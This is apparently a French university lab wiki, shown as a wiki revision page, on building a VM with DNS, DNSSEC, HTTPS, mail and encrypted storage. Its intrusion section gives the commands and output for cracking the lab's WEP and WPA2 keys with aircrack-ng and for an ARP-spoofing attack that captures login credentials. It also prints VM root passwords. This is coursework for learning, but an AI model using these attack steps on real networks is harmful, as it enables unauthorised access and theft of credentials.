Name: ns6.gandi.net<br />
Address: 2001:4b98:d:1::40#53<br />
Aliases: <br />
<br />
www.glopglop.site is an alias for dns1.glopglop.site.<br />
dns1.glopglop.site has address 193.48.57.168<br />
<br />
On peut maintenant vérifier que le site est maintenant bien sécurisé en 'https'<br />
<br />
[[Fichier:Glopglop.site_Securisé.png|1000px|thumb|left|GlopGlop.site en Https]]<br />
<br style="clear: both;" \><br />
<br />
on a maintenant un site sécurisé en 'https'<br />
<br />
====Modification de la page d'accueille Apashe2====<br />
<br />
Pour éviter d'avoir la page de base Apash2, on va modifier le fichier 'index.html' pour cela il suffit d'éditer le fichier avec vim avec la commande <code>vim /var/www/html/index.html</code>.<br />
<br />
Le site : https://www.w3schools.com/html/html_examples.asp explique comment faire sa propre page web.<br />
la page pour le site 'glopglop.site' ne sert que d'exemple si on veux une page plus élaborer des template sont directement disponible sur le net avec en prime les fichiers css pour obtenir un site vraiment attractif. mais on cherche juste pour le moment a avoir une page différente de test.<br />
<br />
==Tests d’intrusion==<br />
<br />
=== Description ===<br />
Un ordinateur portable et une clef Wifi est fourni par Monsieur Redon. Pour que le clef fonctionne il est nécessite pas nécessairement de la configuration. Il faut aussi installer les paquetages nécessaire pour craquer la clef Wep et la clef WPA <br />
<br />
=== Installation de la clef Wifi ===<br />
Avec la commande <code>lsusb</code> on peux voir la list des interfaces connecté aux pc. Ci-dessous les résultats obtenu.<br />
<br />
Bus 003 Device 004: ID 148f:5370 Ralink Technology, Corp. RT5370 Wireless Adapter<br />
Bus 003 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub<br />
Bus 003 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
Bus 004 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub<br />
Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
Bus 001 Device 004: ID 413c:2003 Dell Computer Corp. Keyboard<br />
Bus 001 Device 003: ID 046d:c016 Logitech, Inc. Optical Wheel Mouse<br />
Bus 001 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub<br />
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
<br />
La clef ubs Wifi est bien détécter.<br />
On doit donc installer le pilote pour les clef usb RT5370 avec la commande :<br />
apt-get install firmware-ralink<br />
apt-get install firmware-misc-nonfree<br />
<br />
Une fois les pilotes installer, on récupéère le nom de l'interface wifi avec la commande <code>ip l</code> et on récupère le résultat ci-dessous : <br />
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00<br />
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master bridge state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:22:4d:7a:f1:c3 brd ff:ff:ff:ff:ff:ff<br />
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master bridge state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:15:17:3b:14:a8 brd ff:ff:ff:ff:ff:ff<br />
5: bridge: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:15:17:3b:14:a8 brd ff:ff:ff:ff:ff:ff<br />
6: vmnet1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/ether 00:50:56:c0:00:01 brd ff:ff:ff:ff:ff:ff<br />
7: vmnet8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/ether 00:50:56:c0:00:08 brd ff:ff:ff:ff:ff:ff<br />
8: wlx40a5ef059784: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc mq state DOWN mode DEFAULT group default qlen 1000<br />
link/ether 40:a5:ef:05:97:84 brd ff:ff:ff:ff:ff:ff<br />
<br />
La clef wifi s'apelle donc <code>wlx40a5ef059784</code> on fait maintenant un <code> ip link set wlx40a5ef059784 up></code><br />
<br />
Avec la comande <code>dmsg</code> on vérifie que la clef wifi fonctionne bien. <br />
<br />
=== Installation du paquetage AirCrack-ng ===<br />
Pour installer [https://doc.ubuntu-fr.org/aircrack-ng AirCrack] (utilitaire qui permet de casser les clefs WEP et WPA), il faut de taper la commande :<br />
apt-get install aircrack-ng<br />
apt-get install firmware-misc-nonfree<br />
<br />
=== Utilisation de AirCrack pour clef WEP ===<br />
<br />
Après avoir branché la clef WiFi, on se sert de <code>airmon-ng</code> qui est un utilitaire qui espionne le réseau et permet d'obtenir les types d'interfaces communicantes/espionnable.<br />
airmon-ng<br />
Pour tenter de s'y connecter en tant qu'espion, il faut alors taper (nous le tapons ici avec wlan0mon):<br />
airmon-ng start wlx40a5ef059784<br />
Puis, pour observer et découvrir les canaux associés au réseau et leurs SSID,il faut taper:<br />
airodump-ng wlan0mon <br />
<br />
On obtien le résultat ci dessous : <br />
<br />
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID<br />
<br />
38:0E:4D:B0:E9:E0 -1 0 1 0 1 -1 WPA <length: 0> <br />
04:DA:D2:9C:50:51 -30 49 834 0 9 54e. WEP WEP cracotte02 <br />
04:DA:D2:9C:50:5A -29 44 841 0 9 54e. WEP WEP cracotte11 <br />
04:DA:D2:9C:50:56 -28 53 832 9 9 54e. WEP WEP cracotte07 <br />
04:DA:D2:9C:50:57 -29 54 803 0 9 54e. WEP WEP cracotte08 <br />
04:DA:D2:9C:50:59 -30 50 833 0 9 54e. WEP WEP cracotte10 <br />
04:DA:D2:9C:50:54 -29 48 841 0 9 54e. WEP WEP cracotte05 <br />
04:DA:D2:9C:50:50 -29 50 841 0 9 54e. WEP WEP cracotte01 <br />
04:DA:D2:9C:50:5B -29 50 825 0 9 54e. WEP WEP cracotte12 <br />
04:DA:D2:9C:50:53 -33 46 843 0 9 54e. WEP WEP cracotte04 <br />
04:DA:D2:9C:50:58 -28 50 694 0 9 54e. WEP WEP cracotte09 <br />
04:DA:D2:9C:50:55 -30 49 746 0 9 54e. WEP WEP cracotte06 <br />
04:DA:D2:9C:50:52 -33 50 764 0 9 54e. WEP WEP cracotte03 <br />
00:14:1B:60:8C:28 -30 60 0 0 4 54e. WPA2 CCMP PSK kracotte09 <br />
00:14:1B:60:8C:22 -31 55 0 0 4 54e. WPA2 CCMP PSK kracotte03 <br />
00:14:1B:60:8C:27 -32 64 0 0 4 54e. WPA2 CCMP PSK kracotte08 <br />
00:14:1B:60:8C:24 -34 58 0 0 4 54e. WPA2 CCMP PSK kracotte05 <br />
00:14:1B:60:8C:23 -31 63 0 0 4 54e. WPA2 CCMP PSK kracotte04<br />
<br />
Le réseau que nous voulons craquer est <code>cracotte05 ssid : 04:DA:D2:9C:50:54 chanel : 9</code><br />
<br />
On utilise la commande <code>airodump-ng -w reseau_cracotte05 -c 9 --bssid 04:DA:D2:9C:50:54 wlan0mon</code>. cela nous crée un <code>reseau_cracotte05-01.cap</code> On n'as pluq qu'a faire un <code>aircrack-ng reseau_cracotte05-01.cap </code>.<br />
<br />
KB depth byte(vote)<br />
0 0/ 1 F1(50176) 48(46848) A1(46080) C9(45824) 2A(45056) <br />
1 0/ 1 DE(50944) F0(46592) 60(45824) 4D(45312) 1E(44544) <br />
2 1/ 3 D4(47360) 98(46336) B6(45568) A7(45056) EB(45056) <br />
3 0/ 2 00(47360) 34(46848) 4E(45824) 6F(44800) 35(44544) <br />
4 0/ 1 00(50688) 09(45824) 50(45568) FD(45056) 5E(44032) <br />
5 0/ 3 00(46592) BD(45824) 4A(45824) 5A(45056) 87(45056) <br />
6 0/ 1 00(51456) 09(47104) 3A(45824) F9(45824) 04(45568) <br />
7 0/ 1 00(51712) C9(47360) 08(46336) 56(45312) E2(44800) <br />
8 0/ 1 00(54016) 05(45568) C1(45312) D5(44544) B7(44288) <br />
9 0/ 2 00(47872) 56(46592) 84(45568) 88(45568) F2(45056) <br />
10 1/ 2 09(48128) 6B(45824) D5(45824) 0C(45568) C2(45568) <br />
11 0/ 2 99(48128) 76(47616) 99(46080) E6(46080) 06(44800) <br />
12 2/ 4 FD(44800) DE(44544) B9(44032) 3F(43776) 94(43776) <br />
<br />
KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:00:09:99:99 ] <br />
Decrypted correctly: 100%<br />
<br />
Et voila nous avons trouver clef du réseau wifi cracotte05<br />
<br />
=== Utilisation de AirCrack pour clef WPA2-PSA ===<br />
<br />
On va maintenant craquer le réseau Kracotte05 qui est un réseau WPA on sait d'avance que la clef WPA est un nombre sur 8 chiffres.<br />
On va donc faire un "cassage par force brute" avec un fichier texte contenant tout les combination de 00000000 a 99999999.<br />
<br />
On commence par installer Crnch avec la commande <code>sudo apt-get install -y crunch</code><br />
<br />
Une fois installer on génère un fichier dictionnaite.txt avec la commande <code>crunch 8 8 0123456789 >> dictionnaire_wpa.txt</code><br />
On relance la commande <code>airodump-ng -w reseau_kracotte05 -c 5 --bssid 00:14:1B:60:8C:24</code><br />
On a bien sure remplacer le ssid et le chanel par celui du wifi Kracotte05.<br />
<br />
Puis nous lançons aircrack-ng avec la commande <code>aircrack-ng reseau_kracotte05-01.cap -w dictionnaire_wpa.txt</code><br />
Read 121032 packets.<br />
<br />
# BSSID ESSID Encryption<br />
<br />
1 00:14:1B:60:8C:24 kracotte05 No data - WEP or WPA<br />
<br />
Choosing first network as target.<br />
<br />
Opening reseau_kracotte05-01.cap<br />
Read 121032 packets.<br />
<br />
1 potential targets<br />
Got no data packets from target network!<br />
Quitting aircrack-ng...<br />
<br />
On peut voir que cela prend du temps pour récupérer les data nécessaire pour effectuer le crackage 1 data toutes les 15 minutes.<br />
Une fois que on a récupérer les data, on peux effectuer le "cassage par force brute" <br />
<br />
Aircrack-ng 1.5.2 <br />
<br />
[00:32:18] 10323450/102795810 keys tested (2771.75 k/s) <br />
<br />
Time left: 9 hours, 16 minutes, 11 seconds 10.04%<br />
<br />
KEY FOUND! [ 10244444 ]<br />
<br />
<br />
Master Key : D6 B0 55 29 8C A0 B4 C9 13 24 C9 03 8C D5 13 4B <br />
46 A4 C2 DB 79 E7 4C BC AE B5 5A 5D 48 D7 C4 3B <br />
<br />
Transient Key : 25 23 28 1B 21 51 4B 87 07 51 A4 8E D1 80 48 C8 <br />
54 F6 87 8B 30 DF C1 D0 E6 1A 74 87 2F 50 EC 1B <br />
9B 24 39 29 40 E3 BD 89 CD AE 3E 81 E9 EC 16 70 <br />
79 F9 24 2E 30 4E 52 24 A9 41 30 52 E1 25 EC 85 <br />
<br />
EAPOL HMAC : 7F AC 76 7D B5 33 0C 24 20 C3 BA A2 4B DF 2F CD<br />
<br />
On a bien trouver la clé du wifi !<br />
On voit que cela peut prendre beaucoup de temps pour trouver la clé, d'out l'interner de couper le dictionnaire en plusieurs et lancer le traitement sur plusieurs pc des camarades de classe. Cela permet de diviser le temps de traitement par le nombre de machine utilisé.<br />
<br />
===Exploitation de failles du système===<br />
<br />
===Attaque de type "homme au milieu" par usurpation ARP===<br />
Maintenant on tesnt une attaque par "homme au milieu" pour commancé, on va installer le paquetage <code>dsniff</code> pour cela on utilise la commande : <code>apt-get install dsniff</code><br />
<br />
On regarde dans un premier temps si le pc peut se comporter comme un routeur avec la commande <code>cat /proc/sys/net/ipv4/ip_forward</code> normalement il nous notifie '0' se qui prouve que le pc ne se comporte pas comme un routeur. On utilise la commande <code>cat /proc/sys/net/ipv4/ip_forward</code> pour faire passer la variable a 1. maintenant le PC peut se comporter comme un routeur.<br />
<br />
On fait la commande <code>cat /proc/sys/net/ipv4/conf/all/rp_filter</code> la variable recu doit être a '0' ce qui permet aux pc de renvoyer les requètes sur l'interface qui les a recu.<br />
<br />
Ensuite on fait un <code>ip r</code> pour récupérer l'adresse ip du routeur.<br />
[[Fichier:Ip_r_mirage.png|1000px|thumb|left|capture de la commande ip r]]<br />
<br style="clear: both;" \><br />
<br />
On fait la commande <code>arpspoof -i bridge -t zabeth07 172.26.145.254</code><br />
On lance Wireshark en root en utilisant la commande <code>su</code> si celui ci n'est pas installer on fait préalablement <code>apt-get install wireshark</code><br />
Une fois Wireshark lancé, on filtre tout les paquets en provenance de nottre cible la zabeth07.<br />
Il faut fauire attention de bien désativer les proxi dans firefow sinon cela ne fonctionne pas.<br />
<br />
[[Fichier:Wireshark_mirage.png|1000px|thumb|left|capture de Wiresharkf]]<br />
<br style="clear: both;" \><br />
<br />
On peut voir que on a bien recupérer les mdp lors de la connexion aux site 'applications.polytech-lille.net'.<br />
Non d'utilisateur : Oui le pas de calais<br />
Mdp : le mdp<br />
<br />
=== Intrusion sur un serveur d’application Web===<br />
<br />
==Réalisations==<br />
<br />
===Sécurisation de données===<br />
<br />
===Chiffrement de données===<br />
<br />
Parfois il est necessaire de chiffrer les données importante,d'avoir des clef USB, ou des fichier sécuriser. Pour sécuriser la clef USB, on va utilisé 'cryptsetup'<br />
pour commancer on installe les paquetages 'lvm2' et 'cryptsetup'.<br />
apt-get install cryptsetup<br />
apt-get install lvm2 <br />
<br />
Le [https://doc.ubuntu-fr.org/cryptsetup site] on peut trouver la liste des commandes necessaire pour crypter le clef USB.<br />
<br />
Premièrement on va formaté la clef usb pour avoir un disque propre avec la commande <code>mkfs.vfat -n 'Alex.G' -I /dev/sdb1</code> on obtien le nom de la clef USB avec la commande <code>df -h</code><br />
On a maintenant une clef USB clean qui a comme nom Alex.G et un format FAT32.<br />
<br />
On peut lancer le cryptage de la clef USB avec la commande <code>cryptsetup luksFormat -c aes-xts-plain -s 512 /dev/sdb</code> Pour savoir ou les la clef USB on utilise la commande <code>lsblk</code><br />
On choisi un mdp pour le clef USB, puis on envoie le fichier etc sur le clef pour vérifier si il est bien encrypter. Une fois la clef crypter avec un fichier dessu, on va sur un autre pc et on, vérifie si le fichier est bien crypter.<br />
La liste des commande utilisé est listé ci-dessous : <br />
mount /dev/mapper/Alex.G /mnt<br />
cp -r /etc /mnt<br />
umount /mnt<br />
cryptsetup luksClose Alex.G<br />
<br />
On peut voir que le clef USB crypter fonctionne bien.<br />
[[Fichier:ClefUSBLock_2020-11-13_11-48-55.png|1000px|thumb|left|Cryptage de la clef USB]]<br />
<br style="clear: both;" \><br />
<br />
===Inspection ARP par un élément réseau===<br />
<br />
===Sécurisation WiFi par WPA2-EAP===</div>Aglainehttps://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Glopglop.site_Securis%C3%A9.png&diff=54008Fichier:Glopglop.site Securisé.png2020-11-27T16:56:44Z<p>Aglaine : Aglaine a téléversé une nouvelle version de Fichier:Glopglop.site Securisé.png</p>
<hr />
<div></div>Aglainehttps://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G5&diff=54007TP sysres IMA2a5 2020/2021 G52020-11-27T16:55:09Z<p>Aglaine : /* Modification de la page d'accueille Apashe2 */</p>
<hr />
<div>== Introduction ==<br />
<br />
Cet atelier consiste en la réalisation d’une maquette de réseau permettant de manipuler les protocoles de redondance réseau ainsi que le protocole réseau IPv6. D’un point de vue système vous aurez à installer une machine virtuelle Xen et à y configurer des services. Enfin la mise en place d’un réseau WiFi sécurisé et d’un site web sécurisé vous permettent de mettre en pratiques vos connaissances en la matière.<br />
<br />
=== Tableau Récapitulatif ===<br />
{| class="wikitable" style="text-align: center;width: 35%;margin: auto;"<br />
! Description !! Détails<br />
|-<br />
! scope="row" style="width: 40%"|ID VLAN<br />
|style="width: 60%"|Vlan7<br />
|-<br />
! scope="row" style="width: 40%"|Réseau IP V4<br />
|style="width: 60%"|193.48.57.168/26<br />
|-<br />
! scope="row" style="width: 40%"|Réseau IP V6<br />
|style="width: 60%"|2001:660:4401:60a2:216:3eff:fe95:d093/64<br />
|-<br />
! scope="row" style="width: 40%"|Nom de de la VM <br />
|style="width: 60%"|mirage<br />
|-<br />
! scope="row" style="width: 40%"|Numéro de poste<br />
|style="width: 60%"|Zabeth06<br />
|-<br />
! scope="row" style="width: 40%"|Adresse du site internet version HTTP<br />
|style="width: 60%"|http://www.glopglop.site/<br />
|-<br />
! scope="row" style="width: 40%"|Adresse du site internet version HTTPS<br />
|style="width: 60%"|https://www.glopglop.site/<br />
|-<br />
|}<br />
<br />
== Installation des systèmes d’exploitation == <br />
<br />
Pour installer une Machine Virtuelle, il faut d'abord se connecter sur le disque de virtualisation.<br />
Pour cela, il faut utiliser la commande : <br />
ssh capbreton.plil.info<br />
<br />
=== Installation dans la machine virtuelle Xen ===<br />
<br />
Une fois connecter, il faut lancer la création de la Machine virtuelle avec la commande :<br />
xen-create-image --hostname=mirage --ip 193.48.57.168 --netmask=255.255.255.0 --gateway=100.64.0.5 --dist=ascii --dir=/usr/local/xen --force<br />
<br />
L'installation prend un certain temps pour regarder si l'installation se déroule bien, on peut ouvrir un second terminale connecté en SSH a "capbreton" puis on utilise la commande : <br />
tail -f /var/log/xen-tools/mirage.0.log<br />
<br />
A la fin de l'installation, on obtient le mot de passe root et des informations importantes :<br />
Installation Summary<br />
---------------------<br />
Hostname : mirage<br />
Distribution : ascii<br />
MAC Address : xxxxxxxxxxx<br />
IP Address(es) : dynamic<br />
SSH Fingerprint : SHA256:xxxxxxx (DSA)<br />
SSH Fingerprint : SHA256:xxxxxxx (ECDSA)<br />
SSH Fingerprint : SHA256:xxxxxxx (ED25519)<br />
SSH Fingerprint : SHA256:xxxxxxx (RSA)<br />
Root Password : DgtUlOmnBFERdfarGBsopGR<br />
<br />
Une fois la VM créer, nous pouvons la lancer avec la commande :<br />
xl create /etc/xen/mirage.cfg<br />
<br />
On peut vérifier que le VM est bien démarrer avec la commande :<br />
xl list<br />
Pour fonctionner l'état de la VM doit être r ou -b<br />
[[Fichier:LancementVm.PNG|1000px|thumb|left|Liste des VM en fonctionnement]]<br />
<br />
<br style="clear: both;" \><br />
<br />
On accède pour la premier fois a nottre Vm avec la commande :<br />
xl console mirage<br />
<br />
il demande alors le login (root) et le mdp (longue chaine précédemment générée). <br />
Après nous être logué, on change le mot de passe qui devient : glopglopglop.<br />
<br />
=== Configuration de la machine virtuelle Xen ===<br />
<br />
Il faut maintenant installer les packages que nous avons besoins : <br />
apt-get update<br />
apt-get install VIM<br />
<br />
Il faut configurer l'adresse IP et le mask de la VM. Pour cela on utilise la commande :<br />
vim /etc/network/interfaces<br />
<br />
Dans interfaces on tajoute <br />
auto eth0<br />
iface eth0 inet static<br />
address 193.48.57.168<br />
gateway 193.58.57.163<br />
netmask 255.255.255.248<br />
<br />
Pour que la machine soit joignable par SSH via l'extérieure il est nécessaire de configurer la passerelle et le ssh_config. Pour cela on utilise la commande :<br />
vi /etc/ssh/ssh_config<br />
<br />
Le fichier ssh_config doit être configurer comme ci dessous :<br />
Host *<br />
SendEnv LANH LC_*<br />
HashKnownHOST yes<br />
GSSAPIAuthentification yes<br />
<br />
Sur Capbreton, une paserell doit être mis en place pour pouvoir connecté les VM aux monde extérieure.<br />
Pour cela on configure ces interfacte avec la commande : <br />
vim/etc/network/interfaces<br />
<br />
Puis on configure la passerelle comem ci dessous : <br />
<pre><br />
# The loopback network interface<br />
auto lo<br />
iface lo inet loopback<br />
<br />
# Physical Network Interfaces<br />
#<br />
auto eth<br />
iface eth inet static<br />
address 192.168.0.29<br />
netmask 255.255.255.0<br />
gateway 192.168.0.1<br />
<br />
auto eth0<br />
iface eth0 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth1<br />
iface eth1 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth2<br />
iface eth2 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth4<br />
iface eth4 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth5<br />
iface eth5 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth6<br />
iface eth6 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth7<br />
iface eth7 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
# Main trunk bridge<br />
#<br />
auto Trunk<br />
iface Trunk inet manual<br />
bridge_ports eth4 eth5<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
# Virtual Network Interfaces<br />
#<br />
<br />
auto vlan48<br />
iface vlan48 inet static<br />
vlan-raw-device Trunk<br />
address 172.26.191.21<br />
netmask 255.255.252.0<br />
gateway 172.26.191.254<br />
iface vlan48 inet6 auto<br />
<br />
auto vlan500<br />
iface vlan500 inet manual<br />
vlan-raw-device Trunk<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto vlan502<br />
iface vlan502 inet manual<br />
vlan-raw-device Trunk<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
# Bridge for IMA5sc group<br />
#<br />
<br />
auto IMA5sc<br />
iface IMA5sc inet manual<br />
bridge_ports eth0 eth6<br />
# Bridge for IMA2a5<br />
#<br />
<br />
auto IMA2a5<br />
iface IMA2a5 inet manual<br />
bridge_ports eth1 eth7<br />
# Bridge for L3MRIT group<br />
#<br />
<br />
auto L3MRIT<br />
iface L3MRIT inet manual<br />
bridge_ports eth2<br />
# Bridge for GIS group<br />
#<br />
<br />
auto bridgeGIS<br />
iface bridgeGIS inet manual<br />
bridge_ports vlan502<br />
</pre><br />
<br />
== Architecture réseau ==<br />
<br />
===Sécurisation du réseau===<br />
<br />
==Services Internet==<br />
<br />
===Serveur SSH===<br />
<br />
On peux maintenant se connecté a la VM mirage avec la commande : <code>ssh root@193.48.57.168 -p 2222</code><br />
<br />
===Serveur DNS===<br />
Un serveur DNS (Domain Name System) permet d'effectuer correspondance entre un nom de domaine et une adresse IP. Grâce à DNS, il n'est pas nécessaire de se souvenir des adresses IP pour naviguer sur Ethernet. Pour installer notre propre serveur DNS nous avons utilisé Bind9.<br />
<br />
Nous commençons tout d'abord par installer bind9 via la commande suivante : <code>apt-get install bind9</code><br />
<br />
==== Création et configuration named.conf.local ====<br />
Le <code>named.conf.local</code> permet de faire pointer un nom de domaine pleinement qualifié (FQDN fully qualified domain name) sur une adresse IP. <br />
<br />
Il faut tout d'abbord modifié le fichier <code>/etc/bind/named.conf.local</code> qui contient la configuration DNS et y déclaré les zones associées au domaine ainsi qu'un fichier de description de la zone.<br />
<br />
[[Fichier:Mirage-config-named.conf.local.png|1000px|thumb|left|Configuration de mirage]]<br />
<br style="clear: both;" \><br />
<br />
Puis créé le fichier de configuration appelé <code>glopglop.site</code> avec la commande <code>vim /etc/bind/glopglop.site</code><br />
<br />
[[Fichier:Configuration_bind9.png|1000px|thumb|left|Configuration de bind9]]<br />
<br style="clear: both;" \><br />
<br />
On relance le service 'bind9' avec la commande :<code>service bind9 restart</code><br />
<br />
On vérifie que le DNS fonctionne bien avec le commande <code>host dns1.glopglop.site localhost</code><br />
[[Fichier:Dns1.glopglop.site_2020-11-13_08-57-52.png|1000px|thumb|left|Vérification du DNS en local]]<br />
<br style="clear: both;" \><br />
Le DNS fonctionne donc bien.<br />
<br />
==== Configuration gandi.net ====<br />
Grâce au registrar gandi.net, nous avons réservé le nom de domaine <code>glopglop.site</code>. L'extension <code>.site</code><br />
<br />
[[Fichier:Gandi-glopglop-VueGeneral.PNG|1000px|thumb|left|Image de la configuration de Gandi]]<br />
<br style="clear: both;" \><br />
<br />
On va maintenant ajouter un "glue record" qui est un enregistrement collé. Il permet d'associer un nom d'hôte avec une adresse IP au registre.<br />
Glue records fournis par gandi pour associer un hostname (nom de serveur ou DNS) à l'adresse IP de notre machine. Les modifications seront effectives entre 12 et 24 heures.<br />
<br />
[[Fichier:Mirage-Ajoue-GlueRecord.PNG|1000px|thumb|left|Image de la configuration de Gandi avec Glue Record]]<br />
<br style="clear: both;" \><br />
<br />
Une fois le "glue record" renseigner se qui va lié nottre dns a une ip, il faur renseigner les serveur de non. cela prend 27/72h.<br />
Il faut bien faire attention que la VM soit correctement configurer avec 'bind9' car c'est lui qui donne IPv4 et IPv6 correspondant à vos noms de machines. Si ce n'est pas le cas gandi ne pourras pas liée les dns a l'ip de la machine.<br />
<br />
[[Fichier:GandiDNS_2020-11-13_09-00-16.png|1000px|thumb|left|DNS sur GANDI]]<br />
<br style="clear: both;" \><br />
<br />
Une fois les serveuyrs de non configurer, on peux fermer GANDI.<br />
<br />
===Sécurisation de site web par certificat===<br />
<br />
===Sécurisation de serveur DNS par DNSSEC===<br />
Premièrement, on ajoute <code>l'obtion dnssec-enable yes;</code> dans le fichier <code>named.conf.options</code>.<br />
====Génération des clef asymétrique====<br />
Il est important de bien sauvegarder la clef privée, sinon nottre système de clef ne fonctionnera pas.<br />
pour commancer, on crée un repertoire pour stocker les clef.<br />
cd /etc/bind<br />
mkdir glopglop.site.dnssec<br />
cd glopglop.site.dnssec/<br />
<br />
Une fois dans le dossier <code>glopglop.site.dnssec</code>, on crée les clefs avec la commande<code>dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE glopglop.site</code><br />
On obtien : <br />
Generating key pair...............+++++ ..........................................+++++ <br />
Kglopglop.site.+005+15337<br />
<br />
On crée ensuite le clef asymétrique pour la signature des enregistrements, pour cela on utilise la commande <code>dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE glopglop.site</code><br />
On obtien : <br />
Generating key pair................+++++ ..................................................+++++ <br />
Kglopglop.site.+005+55608<br />
<br />
On a bien maintenant la paire de clef privée/publique. Le problème est qu'il est difficile de les distinguer avec leurs nom compliquer, il faut donc les rennomer pouyr plus de transparance.<br />
On renomme donc les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK) puis par le type de clef (.key pour la clef publique ou .private pour la clef privée);<br />
<br />
mv Kglopglop.site.+005+15337.key glopglop.site-ksk.key<br />
mv Kglopglop.site.+005+15337.private glopglop.site-ksk.private<br />
mv Kglopglop.site.+005+55608.key glopglop.site-zsk.key<br />
mv Kglopglop.site.+005+55608.private glopglop.site-zsk.private<br />
<br />
[[Fichier:ClefPrivéePublique_2020-11-13_09-23-42.png|1000px|thumb|left|Clef Privée et Public]]<br />
<br style="clear: both;" \><br />
<br />
Dans <code>db.glopglop.site</code> on ajoute les deux lignes ci-dessous : <br />
$include /etc/bind/glopglop.site.dnssec/glopglop.site-ksk.key<br />
$include /etc/bind/glopglop.site.dnssec/glopglop.site-zsk.key<br />
<br />
On signe la zone d'enregistremment avec la commande <code>dnssec-signzone -o glopglop.site -k glopglop.site-ksk ../db.glopglop.site glopglop.site-zsk</code><br />
[[Fichier:Zones_d'enregistrement_2020-11-13_10-27-11.png|1000px|thumb|left|Generation des zones d'enregistrement]]<br />
<br style="clear: both;" \><br />
<br />
Les clef sont maintenant fonctionelle il faut donc les ajouter a GANDI, pour cela on se connecte a gandi puis on ajoute une clef KSK.<br />
pour obtenir la cled on utilise la commande <code>cat glopglop.site-ksk.key</code> on obtien le résultat ci-dessous : <br />
; This is a key-signing key, keyid 15337, for glopglop.site.<br />
; Created: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
; Publish: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
; Activate: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
glopglop.site. IN DNSKEY 257 3 5 AwEAAc3TCJkWFGnZSj/Q364AF7n69UaXum/no+LuEbXbGjTXLETdYk+Q gVAmIpvbJXcG0rucJTbVFaHr8IhWqf7VvkCbEGAORAkzBVXThPDR1pZR lJDEY88Lb2T6k9uHw43l2oP8vPev2eIRbU3VxUuJs++elgj32DTBA+yK p++/gz29H6PQVpkHnH81RjGdV+K1RZEwxkuev2MmB329fhMRwTsbW0BV aeXc5faRk9ZEKb7tr0p7txVv4wZEL6it01ZiNyGktwLRj8ln+cQz1GtC PY/UWnCtamycE/2k4f98sdDa6TMiguuBNOPug+ODzqGiI7LNUyF4jBbf 6NAgChwITps=<br />
<br />
On ajoute la clef a gandi comme montrer ci-dessous en n'oubliant pas de selectionner '5(RSA/SHA-1'.<br />
[[Fichier:Zones_d'enregistrement_2020-11-13_10-27-11.png|1000px|thumb|left|gandi enregistrement de la clef KSK]]<br />
<br style="clear: both;" \><br />
<br />
Pour vérifier que tout fonctionne correctement, on va sur le site 'dnsvizi.net' il nous permet d'analyser le dns et représanter la chaine d'autentification DNSSEC.<br />
[[Fichier:DNSSEC_2020-11-13_11-59-06.png|1000px|thumb|left|Test du DNSSEC]]<br />
<br style="clear: both;" \><br />
<br />
On peut voir que maintenant on a bien le statu 'SECURE' donc tout fonctionne bien.<br />
<br />
===Installation d'une méchagerie===<br />
====Configuration de Postfix====<br />
Pour recevoir le mail de vérfication de GANDI il faut sur la VM un gestionnaire de mail il faut installer mutt et postfix. On utilise les commandes ci-dessous : <br />
apt-get install postfix<br />
ant-get install mutt<br />
<br />
A l'installation de 'postfix' un fenètre de configuration s'ouver. <br />
Il faut renseigner le non du site comme 'System mail name : 'glopglop.site'<br />
<br />
On vérifie la configuration de 'postix' en allant dans le 'main.cf'<br />
vi /etc/postfix/main.cf <br />
<br />
[[Fichier:Config Postfix mirage.png|1000px|thumb|left|Configuration de postfix]]<br />
<br style="clear: both;" \><br />
<br />
On a bien le non de domaine 'glopglop.site' on peut relancer 'postfix'<br />
service postfix restart<br />
